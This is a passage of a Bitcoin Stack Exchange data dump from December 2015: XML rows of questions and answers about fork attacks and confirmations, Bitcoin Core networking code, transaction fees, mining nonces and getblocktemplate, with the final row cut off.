  <row Id="41952" PostTypeId="1" CreationDate="2015-12-21T02:45:15.910" Score="2" ViewCount="511" Body="&lt;p&gt;From what I understand, transactions are agglomerated into a block, proof of work is done by computing a hash value for the block, then added to the block chain. When a block is added to the block chain, then the transaction included in the block is considered to be confirmed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the full node from which the block chain is queried decided? Or how many full node's block chain is a transaction checked against?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose an attacker has a forked chain, and let us assume nothing about other full nodes' rejection or confirmation about this fork, can my transaction be checked against this forked chain of the attacker and not against other valid block chains maintained by honest full nodes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I succeeded in 6 confirmations, but all these blocks are an attacker's fork. Is this a problem?&lt;/p&gt;&#xA;" OwnerUserId="31328" LastActivityDate="2016-12-16T15:45:40.623" Title="Will an attacker's forked branch of block chain be used in bitcoin confirmation?" Tags="|transactions|doublespend|blockchain-fork|full-node|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41953" PostTypeId="1" AcceptedAnswerId="41954" CreationDate="2015-12-21T03:06:14.290" Score="2" ViewCount="238" Body="&lt;p&gt;In order to send a &lt;code&gt;NetMsgType::PING&lt;/code&gt; message to a node &lt;code&gt;pnode&lt;/code&gt;, we simply invoke the function &lt;code&gt;pnode-&amp;gt;PushMessage(NetMsgType::PING)&lt;/code&gt; in &lt;code&gt;src/main.cpp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This translates into following logic in &lt;code&gt;src/net.h&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void PushMessage(const char* pszCommand)&#xA;{&#xA;    try&#xA;    {&#xA;        BeginMessage(pszCommand);&#xA;        EndMessage(pszCommand);&#xA;    }&#xA;    catch (...)&#xA;    {&#xA;        AbortMessage();&#xA;        throw;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we look carefully, the &lt;code&gt;BeginMessage&lt;/code&gt; and &lt;code&gt;EndMessage&lt;/code&gt; are just for acquiring and releasing the lock. Where exactly is the &lt;code&gt;PING&lt;/code&gt; getting passed to the other node? I think the working is similar for other message types but the overloaded function &lt;code&gt;PushMessage&lt;/code&gt; may use a Datastream which I guess does the passing to requested node. But I am particularly clueless about cases like &lt;code&gt;NetMsgType::GETADDR&lt;/code&gt;, &lt;code&gt;NetMsgType::VERACK&lt;/code&gt; and old version without nonce of &lt;code&gt;NetMsgType::PING&lt;/code&gt; where there is only the command string &lt;code&gt;pszCommand&lt;/code&gt; being passed&lt;/p&gt;&#xA;" OwnerUserId="31217" LastEditorUserId="31217" LastEditDate="2015-12-21T03:14:41.450" LastActivityDate="2015-12-21T03:22:31.440" Title="How are messages exactly sent in bitcoin p2p protocol" Tags="|bitcoin-core|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41954" PostTypeId="2" ParentId="41953" CreationDate="2015-12-21T03:22:31.440" Score="4" Body="&lt;p&gt;I got the answer myself. Sorry!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;src/net.cpp&lt;/code&gt; has this logic which explains all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void CNode::BeginMessage(const char* pszCommand) EXCLUSIVE_LOCK_FUNCTION(cs_vSend)&#xA;{&#xA;    ENTER_CRITICAL_SECTION(cs_vSend);&#xA;    assert(ssSend.size() == 0);&#xA;    ssSend &amp;lt;&amp;lt; CMessageHeader(Params().MessageStart(), pszCommand, 0);&#xA;    LogPrint(&quot;net&quot;, &quot;sending: %s &quot;, SanitizeString(pszCommand));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31217" LastActivityDate="2015-12-21T03:22:31.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41956" PostTypeId="1" CreationDate="2015-12-21T07:53:24.283" Score="1" ViewCount="77" Body="&lt;p&gt;If one user made a buy and a sell order at the same time, would they be matched with each other or remain pending?&lt;/p&gt;&#xA;" OwnerUserId="50580" LastEditorUserId="5406" LastEditDate="2015-12-21T14:26:35.663" LastActivityDate="2016-02-10T07:24:02.697" Title="Will buy and sell offers from one trader be matched with each other?" Tags="|exchanges|trading|exchange-order|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41957" PostTypeId="1" CreationDate="2015-12-21T07:58:31.900" Score="3" ViewCount="146" Body="&lt;p&gt;The &lt;code&gt;src/main.cpp&lt;/code&gt; has &lt;code&gt;RegisterNodeSignals&lt;/code&gt; and &lt;code&gt;UnregisterNodeSignals&lt;/code&gt; to register the functions as boost signals as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void RegisterNodeSignals(CNodeSignals&amp;amp; nodeSignals)&#xA;{&#xA;    nodeSignals.GetHeight.connect(&amp;amp;GetHeight);&#xA;    nodeSignals.ProcessMessages.connect(&amp;amp;ProcessMessages);&#xA;    nodeSignals.SendMessages.connect(&amp;amp;SendMessages);&#xA;    nodeSignals.InitializeNode.connect(&amp;amp;InitializeNode);&#xA;    nodeSignals.FinalizeNode.connect(&amp;amp;FinalizeNode);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let us pick &lt;code&gt;InitializeNode&lt;/code&gt; as an example. The actual invocation happens in &lt;code&gt;src/net.cpp&lt;/code&gt; which invokes the function defined in &lt;code&gt;src/main.cpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetNodeSignals().InitializeNode(GetId(), this);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the following question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why cannot we simply call this function? Why should we complicate with &lt;code&gt;boost&lt;/code&gt; library and signals? &lt;/li&gt;&#xA;&lt;li&gt;Has it got to do with performance of threads? If yes, then why only the 5 functions in &lt;code&gt;RegisterNodeSignals&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31217" LastEditorUserId="31217" LastEditDate="2016-01-07T11:37:11.433" LastActivityDate="2016-12-01T13:48:32.473" Title="What is the actual reason for using boost:signals for few functions?" Tags="|bitcoind|bitcoin-core|client|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41958" PostTypeId="2" ParentId="41952" CreationDate="2015-12-21T08:34:23.060" Score="0" Body="&lt;p&gt;Once you send a transaction you broadcast it to the network. All full nodes receive that and will verify the transaction thus full nodes ignore the false blocks when submitted by miners and wait for the the correct block in future and assuming more than 50% of the miners are honest that false block will be orphaned.&lt;br/&gt;&#xA;However SPV clients only check for the longest chain and in that case will get fooled by the wrong block. &lt;br/&gt;&#xA;The attack you described is a 51% attack in which attacker has 50% and more of the whole hashing power and therefore is able to create fake blocks on top of each other which can result in a really devastating situation and is definitely a problem.&lt;/p&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2015-12-21T08:34:23.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41960" PostTypeId="2" ParentId="40433" CreationDate="2015-12-21T11:59:03.480" Score="-1" Body="&lt;p&gt;Now it is not profitable at all to mine Bitcoin on a VPS, but you can consider to mine some altcoins, such as &lt;a href=&quot;http://miscool.blogspot.com/2015/12/how-to-mine-bytecoin-google-cloud.html&quot; rel=&quot;nofollow&quot;&gt;Bytecoin, Monero&lt;/a&gt; or &lt;a href=&quot;http://miscool.blogspot.com/2015/12/gridcoin-mining-using-google-cloud-bam.html&quot; rel=&quot;nofollow&quot;&gt;Gridcoin&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="31351" LastActivityDate="2015-12-21T11:59:03.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41962" PostTypeId="2" ParentId="9982" CreationDate="2015-12-21T13:09:26.477" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.goldxcash.net/buycasasciusbitcoins.htm&quot; rel=&quot;nofollow&quot;&gt;https://www.goldxcash.net/buycasasciusbitcoins.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Casascius Physical Bitcoins, physical coins loaded with bicoin buy online. &lt;/p&gt;&#xA;" OwnerUserId="31355" LastActivityDate="2015-12-21T13:09:26.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41964" PostTypeId="2" ParentId="41956" CreationDate="2015-12-21T13:23:22.387" Score="0" Body="&lt;p&gt;Depends on which exchange you use. Those are all internal policies not used by the Bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="26376" LastActivityDate="2015-12-21T13:23:22.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41965" PostTypeId="2" ParentId="9982" CreationDate="2015-12-21T13:25:37.977" Score="0" Body="&lt;p&gt;Using escrow in the markets on the Bitcoin forums is a safe and easy method. Markup is quite high at this time, December 2015.&lt;/p&gt;&#xA;" OwnerUserId="26376" LastActivityDate="2015-12-21T13:25:37.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41966" PostTypeId="2" ParentId="41956" CreationDate="2015-12-21T14:33:59.087" Score="0" Body="&lt;p&gt;The proposed scenario doesn’t make sense to me. If you would make a buy and sell order as market orders at the same time, you would lose money. If they were matched with each other, you’d buy from yourself, paying what you earn and losing the trade fee. If they were not matched with each other, your buy order would be the best for the moment, and your sell order would be matched with a lower buy order afterwards (or vice versa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you’d have a buy and sell order open as limit orders at the same time, you’d open them at a spread: e.g. buy for $5 and sell for $6. Those two orders would be unmatchable though. For them to be matchable, you’d have to open them at e.g. buy for $6 and sell for $5. Then you’d lose money on every trade though, and that would be stupid.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-12-21T14:33:59.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41967" PostTypeId="1" AcceptedAnswerId="41969" CreationDate="2015-12-21T15:50:37.373" Score="3" ViewCount="93" Body="&lt;p&gt;Transaction hashes uses sha256, so they are 32 bytes long. If I have to store a very large database of transaction hashes, only for the purpose of checking existence later on, is it really necessary to store all 32 bytes? If i store only 20 last bytes and I compare transactions using only those last 20 bytes, would the crypto guys get mad?&lt;/p&gt;&#xA;" OwnerUserId="27866" LastEditorUserId="5292" LastEditDate="2015-12-21T16:11:24.327" LastActivityDate="2015-12-21T19:01:31.097" Title="Is it computationally feasible to find two transaction IDs with the same first 20 bytes?" Tags="|transactions|security|hash|sha256|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41968" PostTypeId="2" ParentId="41952" CreationDate="2015-12-21T16:37:42.760" Score="0" Body="&lt;p&gt;The valid Trxid lost in the orphaned block is queued into the next available block with delayed confirmation on the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for maintaining ten minute gaps in each block is to reduce the possibility of 6 consecutive transactions taking place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digital Transactions with faster Block rate or lower Hashing power have a greater vulnerability to such an event &lt;/p&gt;&#xA;" OwnerUserId="31334" LastActivityDate="2015-12-21T16:37:42.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41969" PostTypeId="2" ParentId="41967" CreationDate="2015-12-21T16:40:47.813" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it computationally feasible to find two transaction IDs with the same first 20 bytes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;20 bytes is still 160 bits of security, which is considered very secure. If you are sure that you only need the IDs to check for existence, 20 bytes of the hashes should be fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hard drive space is pretty cheap, though, and you might need the full TXID someday just for interoperability between other systems. So make sure 20 bytes really does satisfy your use cases. A 20 byte hash is sufficiently secure, though.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-12-21T16:40:47.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41970" PostTypeId="2" ParentId="41967" CreationDate="2015-12-21T19:01:31.097" Score="0" Body="&lt;p&gt;I guess it depends on what you want to do with it. If for example you're using those 20 bytes as keys in a lookup table, then you should be fine as long as you remember you might get an occasional false positive so you always double check if it really is the transaction you were looking for. For that purpose less than 20 bytes is probably already enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 20 bytes is everything that you store while throwing away everything else, and you make important decisions based only on those 20 bytes, then you might run into problems at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that it's not mere chance. If your application plays an important role and an attacker knows about your 20 bytes limitation, they might try to forge 2 conflicting transactions IDs to and crash your system or scam you out of some money.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-21T19:01:31.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41971" PostTypeId="2" ParentId="41956" CreationDate="2015-12-21T19:47:10.813" Score="1" Body="&lt;p&gt;On &quot;real&quot; exchanges Trading Against Yourself or &lt;a href=&quot;https://en.wikipedia.org/wiki/Wash_trade&quot; rel=&quot;nofollow&quot;&gt;Wash Trades&lt;/a&gt; are usually forbidden. Either by a real time check when you enter the second order or after the fact with fines by the oversight agency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Bitcoin Exchanges are not regulated, it's their choice to either block you from doing it or not (earning fees for the exchange).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spread is pretty wide, so it will probably cost you quite a bit of money to do this on a meaningful scale.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-21T19:47:10.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41972" PostTypeId="2" ParentId="9046" CreationDate="2015-12-21T20:32:27.137" Score="120" Body="&lt;p&gt;&lt;strong&gt;How Bitcoin Mining Works&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin transactions are mined (processed) by Miners, and Miners want to benefit from their work. By mining transactions with higher fees, they make more money. Some miners can decide to mine all transactions no matter the fee but they still must compete with every other financially motivated miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why is it taking so long for my transaction to confirm?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have sent a transaction&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;without (or with an exceptionally small) transaction fee&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;expect it to be ignored for an unknown amount of time until a miner decides to process it &lt;em&gt;and&lt;/em&gt; solves the block; this could be several days to several weeks, possibly never. Your wallet and any Bitcoin node will show it as unconfirmed, your transaction is stuck in limbo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block sizes are limited, which means that only a limited number of transactions can be processed in a certain timeframe. In the beginning of bitcoin, there was lots of free space in each block because there were not many transactions. However, now that Bitcoin is quite popular there are more transactions than can be processed into the current block. This is why transaction fees have increased, and as long as someone is still willing to pay more they will keep increasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What can I do to speed-up the transaction’s confirmation?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing. The next best thing is to cancel and resend the transaction.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a note of the individual bitcoin address(es) that the unconfirmed transaction was sent from.&lt;/li&gt;&#xA;&lt;li&gt;Run Bitcoin Core with the &lt;code&gt;-zapwallettxes&lt;/code&gt; option (or wait a few days until your wallet stops broadcasting the transaction and it falls out of the global transaction mempool). (Issue with mempool.dat resolved by #10330 in 0.15.0).&lt;/li&gt;&#xA;&lt;li&gt;Send &lt;strong&gt;all&lt;/strong&gt; your bitcoins from the addresses recorded in step 1 to a new address &lt;strong&gt;with the recommended or higher than recommended fee&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Make original transaction again using the recommended fee.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What to watch out for&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sites that claim to &quot;speed up your unconfirmed bitcoin transaction&quot;. From personal experience, these sites are either scams or just don't work.&lt;/li&gt;&#xA;&lt;li&gt;DOUBLE PAYMENTS. If the addresses used in the original transaction have sufficient bitcoin in them to cover the transaction, it can always be completed at a later date. To avoid this, follow step 3 to empty the associated addresses and do not reuse them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the recommended fee?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction fees vary by the size of your transaction, and not all transactions are the same size. The fee for same sized transactions also depends on how busy the bitcoin network is at the moment.&#xA;An estimate (at the time of original post) was between 11-20 satoshi/byte (0.00011-0.00020BTC/kB) but now can be much higher.&#xA;Most wallets have a feature which dynamically calculates the rate based on network congestion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoinfees.earn.com/&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoinfees.earn.com/&lt;/a&gt; for a live chart of suggested transaction fees&lt;/p&gt;&#xA;" OwnerUserId="29532" LastEditorUserId="29532" LastEditDate="2019-03-14T22:23:13.443" LastActivityDate="2019-03-14T22:23:13.443" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="41974" PostTypeId="2" ParentId="41949" CreationDate="2015-12-21T21:05:00.607" Score="2" Body="&lt;p&gt;&lt;strong&gt;There is no precise nonce finding protocol.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner can &lt;strong&gt;arbitrarily&lt;/strong&gt; choose a nonce c to perform the hashing operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mining is a mathematical game&lt;/strong&gt; where the goal is to make the result of the hash function smaller than a given number (this is what &quot;a result starting with x zeros&quot; is looking for). The number is directly based on the current Bitcoin network difficulty and changes every two weeks to keep average block finding time at 600 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Most nonce generators just increment by 1&lt;/strong&gt; but the key is where they start. If you are solo mining, you can pick a random number. If you are mining with multiple devices or you are a pool administrator, you have to divide the work to avoid calculating the same hash twice (make sure they never use the same c).&lt;/p&gt;&#xA;" OwnerUserId="29532" LastEditorUserId="29532" LastEditDate="2015-12-21T23:39:14.760" LastActivityDate="2015-12-21T23:39:14.760" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="41975" PostTypeId="2" ParentId="41949" CreationDate="2015-12-21T21:05:55.653" Score="4" Body="&lt;p&gt;There is no concatenation. The nonce is part of the block header. The block header is 80 bytes and is hashed twice. That means you first sha-256 hash the 80 byte block header, and then you hash the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting different users in a pool at different nonce values would be useless. With modern hardware all possible nonce values are processed in a split second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead different users are given a different template from which to generate different blocks (small variations of the same block). After a miner has tried all nonce values it generates a new block from the template and starts over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using templates ensures that each client can generate their own work without needing to talk to a mining pool server many times per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using different templates for each user ensures that no two users in the pool will ever do the same work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What part of the work does an ASIC chip do: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/41775/141&quot;&gt;https://bitcoin.stackexchange.com/a/41775/141&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining protocols: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/13307/141&quot;&gt;https://bitcoin.stackexchange.com/a/13307/141&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-12-21T21:05:55.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41976" PostTypeId="1" AcceptedAnswerId="41978" CreationDate="2015-12-21T22:23:55.867" Score="1" ViewCount="2839" Body="&lt;p&gt;I recently sent some BTC from my Coinbase account to a Blockchain.info wallet, but the numbers I see are confusing.  According to my Blockchain app, the transaction had a fee of .0001 BTC (for the miners, I get that).  The BTC made it to my wallet, but the remaining .00120821 went somewhere else.  Because of this, I wonder where did the .00120821 BTC get sent?  &lt;/p&gt;&#xA;" OwnerDisplayName="user31364" LastEditorUserId="5406" LastEditDate="2020-05-13T15:23:15.810" LastActivityDate="2020-05-13T15:23:15.810" Title="Sending from Coinbase to Blockchain wallet. Numbers explained?" Tags="|blockchain.info|coinbase.com|change|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="41978" PostTypeId="2" ParentId="41976" CreationDate="2015-12-21T22:40:46.013" Score="1" Body="&lt;p&gt;Unspent transaction output (UTXO) can only be spent in full, so if they don't match the amount you are trying to send exactly the rest will be sent back to yourself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I assume that you had a single UTXO in your wallet. When it was spent, the remainder was sent to a change address in your own wallet.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorDisplayName="user31364" LastEditDate="2020-05-13T15:14:12.513" LastActivityDate="2020-05-13T15:14:12.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41982" PostTypeId="1" CreationDate="2015-12-22T07:43:08.650" Score="1" ViewCount="35" Body="&lt;p&gt;I am very new to bitcoin wallets and to all and I really need help for anyone who can help me. I just transfered bitcoin from my LocalBitcoin site to JUST downloaded Bitcoin Core wallet. I didnt know about synchronizing until I sent bitcoins to there.  I went to receive address and got an address. The problem I have is I have a LENOVO PAD which does NOT have the memory to download the whole BLOCKCHAIN.  I stays currently 3years 2 weeks behind.  And it seems it will not be able to download.  How do I get back my coins to LocalBitcoins and PLEASE ANY HELP WILL BE GOOOD.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="31373" LastActivityDate="2015-12-22T09:34:56.643" Title="I Transfered Bitcoin without synchronizing Bitcoin core" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2015-12-22T09:39:56.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="41983" PostTypeId="1" CreationDate="2015-12-22T08:39:00.923" Score="5" ViewCount="108" Body="&lt;p&gt;Can any expert help me understand the need for the following members of &lt;code&gt;CNode&lt;/code&gt; in &lt;code&gt;src/net.h&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std::deque&amp;lt;CSerializeData&amp;gt; vSendMsg;&#xA;std::deque&amp;lt;CInv&amp;gt; vRecvGetData;&#xA;std::deque&amp;lt;CNetMessage&amp;gt; vRecvMsg;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand the source code correct, vRecvMsg is for storing the input messages and vSendMsg is a queue for output messages.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why do we have different form of queues [i.e. &lt;code&gt;CNetMessage&lt;/code&gt; and &lt;code&gt;CSerializeData&lt;/code&gt;] for input and output?&lt;/li&gt;&#xA;&lt;li&gt;What is the purpose of &lt;code&gt;vRevGetData&lt;/code&gt;? Can you please help me understand also the concept behind the usage of this ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31217" LastEditorUserId="47827" LastEditDate="2023-09-06T09:56:10.123" LastActivityDate="2024-02-07T15:17:59.380" Title="A question on CNode class data members" Tags="|bitcoin-core-development|p2p|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41984" PostTypeId="2" ParentId="6056" CreationDate="2015-12-22T09:34:56.643" Score="1" Body="&lt;p&gt;Find the wallet.dat file with generated public-private key pairs and run bitcoin client with the file on other machine.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2015-12-22T09:34:56.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41986" PostTypeId="1" CreationDate="2015-12-22T16:56:37.027" Score="4" ViewCount="113" Body="&lt;p&gt;I want to begin experimenting with bitcoin. I notice the estimated upload traffic for the real bitcoin network is around 200 GB per month. That's too much for an experiment. How much traffic per month could I expect for a node on the test network?&lt;/p&gt;&#xA;" OwnerUserId="31383" LastEditorUserId="5406" LastEditDate="2015-12-22T16:59:40.843" LastActivityDate="2019-11-16T15:01:15.330" Title="Quantity of traffic on test network" Tags="|testnet|bandwidth|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41987" PostTypeId="1" CreationDate="2015-12-22T17:03:32.880" Score="6" ViewCount="1028" Body="&lt;p&gt;I'd like to try building the Bitcoin core source in Windows. The instructive materials I've found take too much for granted. What environment needs to be installed before building? Can it be built in Visual Studio, or is it one of those cross-compilers like MingGW that compiles code originally written for Linux so it can be executed in Windows?&lt;/p&gt;&#xA;" OwnerUserId="31383" LastEditorUserId="95422" LastEditDate="2019-10-26T23:39:52.210" LastActivityDate="2019-10-26T23:39:52.210" Title="Environment for building Bitcoin core in Windows" Tags="|bitcoin-core|windows|compiling|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41989" PostTypeId="1" AcceptedAnswerId="41992" CreationDate="2015-12-22T21:25:50.663" Score="2" ViewCount="503" Body="&lt;p&gt;I'm having trouble understanding getblocktemplate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getblocktemplate&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see how to build the block header and then begin hashing by incrementing the nonce, the same as I would perform work on the result of a getwork call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is the following&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since you're making all the blocks yourself, you really don't ever need to get another template... until it's invalid. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After I construct my merkle root and then my block header, and hash away by incrementing the nonce, then what? How do I &quot;create&quot; a block? Surely I will overflow the nonce quickly with an ASIC - so what else am I varying while hashing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I am missing a very important step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="31250" LastActivityDate="2015-12-23T00:56:36.007" Title="Question about getblocktemplate" Tags="|hash|getblocktemplate|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41991" PostTypeId="2" ParentId="41949" CreationDate="2015-12-22T22:09:06.773" Score="8" Body="&lt;p&gt;This mining simulator is a good visual of what is being hashed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.yogh.io/#mine:last&quot; rel=&quot;noreferrer&quot;&gt;http://www.yogh.io/#mine:last&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People are correct you don't have to change the Nonce it's just the fastest way to get a different hash output.  You could very well keep the nonce at 1 and change the timestamp, or the list of included transactions, which would change the merkelroot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's being hashed is version + previous block hash + merkel root + time + bits (target) + nonce.  This gets hashed twice sha256(sha256(blockheader))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code and description here is pre&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31391" LastActivityDate="2015-12-22T22:09:06.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41992" PostTypeId="2" ParentId="41989" CreationDate="2015-12-22T23:09:53.170" Score="3" Body="&lt;p&gt;Once a client has the template it can modify it to make the header different, giving you a new nonce range to search. In modern miners this happens thousands or tens of thousands of times a second.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The timestamp in the header can be updated if needed, this is known in old software as &lt;code&gt;nRollTime&lt;/code&gt;. This method is generally not used anymore because you only get one new range per second. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &quot;extraNonce&quot; can be updated, the random data in the coinbase transaction is altered and the merkle tree is re-hashed up to the root, which changes the header. This technique is used by Stratum miners as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transactions can be added or removed from the tree.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;GBT and Stratum are distinct from an old system called &lt;code&gt;GetWork&lt;/code&gt; which simply gave out just a partially hashed header, every time the nonce range was exhausted the client would need to make a new request to the server they were mining from. This is what your quote is alluding to. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-12-23T00:56:36.007" LastActivityDate="2015-12-23T00:56:36.007" CommentCount="4" ContentLicense="CC BY-SA 